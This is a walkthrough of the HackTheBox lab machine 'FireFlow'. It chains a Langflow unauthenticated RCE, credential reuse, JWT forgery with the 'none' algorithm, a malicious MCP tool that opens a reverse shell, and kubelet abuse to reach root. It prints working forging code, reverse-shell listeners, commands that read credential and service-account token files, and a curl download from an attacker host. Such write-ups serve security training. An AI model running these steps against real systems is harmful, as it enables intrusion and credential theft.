Skip to content

FireFlow Writeup - HackTheBox

Medium Linux

Created June 25, 2026 • Last updated October 11, 2026 • 4 min read

Khant-Nyar

Pentester, Learner, Builder

Discovery

Port Enumeration

A full TCP scan identified three exposed services.

┌──(kali㉿kali)-[~]
└─$ ports=$(nmap -p- --min-rate=1000 -T4 $TARGET_IP | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//')
┌──(kali㉿kali)-[~]
└─$ nmap -p$ports -sV -sC $TARGET_IP
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu
80/tcp  open  http     nginx
443/tcp open  ssl/http nginx

|_http-title: Did not follow redirect to https://fireflow.htb/
|_http-title: FireFlow — Task Force Nightfall
| ssl-cert:
|   Subject Alternative Name:
|     DNS:fireflow.htb
|     DNS:*.fireflow.htb

The web server redirects to fireflow.htb, so the hostname is added locally.

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP fireflow.htb" | sudo tee -a /etc/hosts

The next move is to enumerate the web application.

Web Enumeration

Browsing https://fireflow.htb reveals a FireFlow landing page. Selecting Open Agent redirects to another virtual host.

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP flow.fireflow.htb" | sudo tee -a /etc/hosts

The new application is exposed at:

┌──(kali㉿kali)-[~]
└─$ https://flow.fireflow.htb/playground/<FLOW_ID>

The URL leaks a valid Langflow flow_id, which is sufficient to target CVE-2026-33017.

The next move is to verify remote code execution.

Initial Access

CVE-2026-33017 Langflow Unauthenticated RCE

Start a listener.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Trigger the vulnerable endpoint using the discovered flow_id.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST 'https://flow.fireflow.htb/api/v1/build_public_tmp/<FLOW_ID>/flow' \
-H 'Content-Type: application/json' \
-b 'client_id=attacker' \
-d '<RCE JSON PAYLOAD>'

The injected component executes arbitrary Python code, spawning a reverse shell.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade the shell.

script /dev/null -c bash

Suspend the shell.

Ctrl-Z

Restore the terminal.

stty raw -echo; fg

Press Enter twice.

The next move is credential hunting.

Extracting Credentials

Langflow stores its configuration under /etc/langflow.

┌──(kali㉿kali)-[~]
└─$ cat /etc/langflow/.env
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=$LANGFLOW_PASSWORD

Checking local users reveals a normal account.

┌──(kali㉿kali)-[~]
└─$ cat /etc/passwd
nightfall:x:1000:1000::/home/nightfall:/bin/bash

The Langflow password is reused for SSH.

┌──(kali㉿kali)-[~]
└─$ ssh nightfall@$DOMAIN
id
uid=1000(nightfall)

The next move is local enumeration.

Lateral Movement

MCP Configuration Discovery

A hidden MCP configuration is present.

┌──(kali㉿kali)-[~]
└─$ cat ~/.mcp/config.json
{
  "server":"http://$TARGET_IP:30080",
  "user":"langflow-bot",
  "password":"$LANGFLOW_BOT_PASSWORD"
}

Query the exposed API.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP:30080/api/v1/version | python3 -m json.tool
{
  "service":"MCP AI Tool Registry",
  "auth":{
    "type":"JWT",
    "supported_algorithms":[
      "HS256",
      "none"
    ]
  }
}

The API accepts JWTs using the insecure none algorithm.

The next move is to verify authentication.

Obtaining a JWT

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:30080/api/v1/auth \
-H 'Content-Type: application/json' \
-d '{"username":"langflow-bot","password":"$LANGFLOW_BOT_PASSWORD"}'
{
  "access_token":"<JWT>"
}

Decoding the payload shows a regular user.

{
  "sub":"langflow-bot",
  "role":"user"
}

Administrative endpoints reject the token.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:30080/api/v1/tools \
-H "Authorization: Bearer $USER_JWT"
{
  "detail":"Admin role required"
}

The next move is JWT forgery.

Forging an Administrator Token

import base64
import json

def b64(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64(json.dumps({"alg":"none","typ":"JWT"}).encode())
payload = b64(json.dumps({"sub":"attacker","role":"admin"}).encode())

print(f"{header}.{payload}.")

Generate the forged token.

┌──(kali㉿kali)-[~]
└─$ python3 craft.py

Register a malicious MCP tool.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:30080/api/v1/tools \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $ADMIN_JWT" \
-d '{
"name":"shell",
"description":"debug shell",
"inputSchema":{"type":"object","properties":{}},
"code":"<python reverse shell>"
}'
{
  "status":"registered",
  "name":"shell"
}

Start a listener.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Trigger the tool.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP:30080/mcp \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $ADMIN_JWT" \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}'

A shell is returned from the MCP container.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
id
uid=1000(mcp)

script /dev/null -c bash


The next move is container escape and privilege escalation.

Privilege Escalation

Kubernetes Enumeration

The environment indicates execution inside Kubernetes.

mcp@fireflow ~ $ ls /var/run/secrets/kubernetes.io/
serviceaccount

Inspect RBAC permissions.

mcp@fireflow ~ $ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
mcp@fireflow ~ $ CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
mcp@fireflow ~ $ API=https://10.43.0.1:443
 
mcp@fireflow ~ $ curl -sk -X POST "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'

Relevant permission:

resources:
  nodes/proxy

verbs:
  get

The nodes/proxy permission allows interaction with the kubelet.

The next move is identifying a privileged pod.

Locating a Privileged Pod

mcp@fireflow ~ $ curl -sk https://$TARGET_IP:10250/pods \
-H "Authorization: Bearer $TOKEN"
[!] PRIVILEGED:
monitoring/prometheus-prometheus-node-exporter-*
hostPaths:
  /proc
  /sys
  /

The privileged Node Exporter mounts the host filesystem.

The next move is remote command execution through the kubelet.

Kubelet Exec

Create the execution helper.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80

Transfer it to the container.

mcp@fireflow ~ $ curl http://$ATTACKER_IP/kube_exec.py -o kube_exec.py

Execute arbitrary commands inside the privileged pod.

mcp@fireflow ~ $ python3 kube_exec.py "id"

The mounted host filesystem is accessible under /host/root, allowing execution against the underlying node and obtaining a root shell.

References